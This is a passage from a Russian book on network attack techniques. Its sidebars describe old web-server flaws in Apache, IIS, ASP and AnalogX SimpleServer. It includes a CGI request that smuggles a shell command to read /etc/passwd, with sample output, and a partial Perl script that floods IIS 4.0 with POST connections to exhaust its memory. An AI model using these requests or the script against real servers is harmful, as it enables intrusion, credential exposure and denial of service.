Техника сетевых атак
Шрифт:
Например, HTTP-сервер может быть настроен так, что бы запрос “GET /” переадресовывался в «C:\wwwroot\». Программно это реализуется тривиальным слиянием двух строк. Такой механизм работает нормально, до тех пор, пока атакующей не догадается воспользоваться командой перехода на один уровень вверх, послав вполне корректный с точки зрения операционной системы запрос “GET …/”. Такая ошибка была обнаружена, например, в «Microsoft Personal Web Server».
В настоящее время разработчики используют различные системы программных фильтров, для предотвращения подобных ситуаций. Иногда это приводит к забавным казусам. Например,
Врезка «информация»
До сих пор в сети можно встретить древние «Apache»-сервера, использующие примитивный алгоритм удаления дублирующихся символов “/”. Если при сканировании адресной строки, встречалась пара символов “/”, то один из них удалялся. Затем все повторялось до тех пор, пока в очередном проходе происходило хотя бы одно изменение.
Нетрудно оценить рост сложности в зависимости от количества подряд идущих символов “/”. Время анализа пропорционально квадрату количества слешей в строке, что позволяет осуществить атаку на отказ в обслуживании запросом, содержащим достаточно больше количество (порядка нескольких тысяч) повторяющихся слешей.
В современных версиях это исправлено, но далеко не все администраторы обновили свои сервера, поэтому угроза атаки «отказа в обслуживании» все еще остается актуальной.
Врезка «информация»
Старые версии Apache позволяли выполнять любые команды на сервере, стоило им послать следующий запрос “GET /cgi-bin/script?var=value%0Acommand”. Все, что находилось справа от символа перевода каретки, передавалось оболочке операционной системы (Shell) на выполнение.
Например, получить файл паролей можно так:
· GET /cgi-bin/test-cgi?kpnc=hacker%0a/bin/cat%20/etc/passwd
· root:x:0:0:root:/root:/bin/bash
· daemon:x:1:1:daemon:/usr/sbin:/bin/sh
· bin:x:2:2:bin:/bin:/bin/sh
· sys:x:3:3:sys:/dev:/bin/sh
· sync:x:4:100:sync:/bin:/bin/sync
· games:x:5:100:games:/usr/games:/bin/sh
· man:x:6:100:man:/var/catman:/bin/sh
· lp:x:7:7:lp:/var/spool/lpd:/bin/sh
· mail:x:8:8:mail:/var/spool/mail:/bin/sh
· news:x:9:9:news:/var/spool/news:/bin/sh
· uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
· proxy:x:13:13:proxy:/bin:/bin/sh
· majordom:x:30:31:Majordomo:/usr/lib/majordomo:/bin/sh
· postgres:x:31:32:postgres:/var/postgres:/bin/sh
· www-data:x:33:33:www-data:/var/www:/bin/sh
· backup:x:34:34:backup:/var/backups:/bin/sh
· msql:x:36:36:Mini SQL Database [279]
Врезка «информация»
Седьмого ноября 1997 года в «Базе Знаний» Microsoft появилась маленькая техническая заметка под номером Q168501, с первых строк гласящая следующее: «Microsoft Active Server Pages (ASP) download instead of executing, even after you install the ASP fix for IIS [280]» Об этой досадной ошибке уже упоминалась во врезке к главе «Протокол HTTP». Казалось бы, что вторая(!) по счету заплатка должна была решить все проблемы, ан, нет [281]
Злую шутку сыграло различие длинных
Администраторам было рекомендовано отказаться от использования длинных имен в папках для хранения исполняемых файлов. Если бы это не было связано с необходимостью внесения изменения практически во все файлы сайта, безусловно, так бы и поступили. Поэтому, до сих пор в сети находятся сервера, уязвимые против такой простой атаки - их владельцы посчитали подобные меры защиты экономически нецелесообразными.
Врезка «информация»
С ASP связана еще одна малоизвестная ошибка, приводящая к возможности просмотра исходного кода вместо его исполнения. В большинстве случаев разработчики используют включаемые («.inc») файлы для удобства программирования. Что бы постоянно не указывать полный путь, его часто добавляют в глобальную переменную PATH.
Это приводит к тому, что содержимое INCLUDE-директории становится доступно всем посетителям сайта, достаточно лишь передать серверу следующий запрос "GET /SomeScript.inc”.
Единственная проблема - угадать имена файлов. Учитывая, склонность разработчиков к осмысленным названиям, можно попробовать воспользоваться словарной атакой.
Врезка «Информация»
Любопытная ситуация связана с «AnalogX SimpleServer 1.03». Если путь к ресурсу, запрашиваемому методом GET, окажется равен именно семнадцати символам возникнет аварийная ситуация из-за ошибки в модуле «emu-str.c»
Например: “GET /cgi-bin/goodkpnc HTTP/1.0” в окне telnet, или “http://www.SimpleServer103.com/cgi-bin/goodkpnc” в любом браузере.
Врезка «Информация»
В новой, четвертой версии, «Microsoft Internet Information Server» была обнаружена грубая ошибка, приводящая к утечке памяти и быстрому краху системы. При передаче данных методами POST или PUT, сервер отводил затребованное в поле Content-Length количество памяти. Если клиент длительное время не проявлял никакой активности, соединение разрывалось, но память не освобождалась!
#!/usr/local/bin/perl -w
use Socket;
print "Content-type: text/html\n\n";
print "«BODY» «H1»«CENTER»”;
print “IIS 4.0 Memory Leack«/H1»«/CENTER»«HR»«BR»\n";
$count=1;
$size=10240;
$N=100;
while ($count«$N)
{
socket(SRV, PF_INET, SOCK_STREAM, getprotobyname("tcp") || 6);
connect(SRV, sockaddr_in(80,inet_aton('www.iis40.com')));
send(SRV, "POST /cgi-bin/test-cgi HTTP/1.0\n",0);
send(SRV,"Content-Length:$size\n\n",0);